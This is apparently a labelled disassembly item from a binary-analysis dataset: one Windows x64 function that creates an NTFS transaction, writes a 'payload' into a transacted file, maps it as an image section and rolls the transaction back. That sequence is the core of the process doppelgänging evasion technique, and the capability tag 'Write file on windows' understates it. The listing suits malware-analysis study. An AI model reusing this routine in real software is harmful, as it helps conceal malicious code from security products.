Function at 0x140004930
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r14d, r14d
mov ebp, r8d
mov qword [rsp + 0x30], r14
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x28], r14d
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ktmw32.dll_CreateTransaction]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400049ad
lea rdx, str.Failed_to_create_transaction_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002950
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x140004afc
mov qword [rsp + 0x48], r14
xor r9d, r9d
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0xc0000000
mov qword [rsp + 0x30], r14
mov rcx, rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140004a19
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_create_transacted_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ebx, eax
call fcn.140002950
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140004991
lea r9, [rsp + 0x58]
mov dword [rsp + 0x58], r14d
mov r8d, ebp
mov qword [rsp + 0x20], r14
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140004a4a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_writing_payload__Error:
jmp 0x1400049fb
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
mov qword [rsp + 0x50], r14
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x140004a8a
lea rdx, str.NtCreateSection_failed
jmp 0x140004985
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Created_a_TxF_transaction_n
call fcn.140002950
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.ktmw32.dll_RollbackTransaction]
test eax, eax
jne 0x140004aee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.RollbackTransaction_failed:
mov ebx, eax
call fcn.140002950
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140004991
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140006410
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret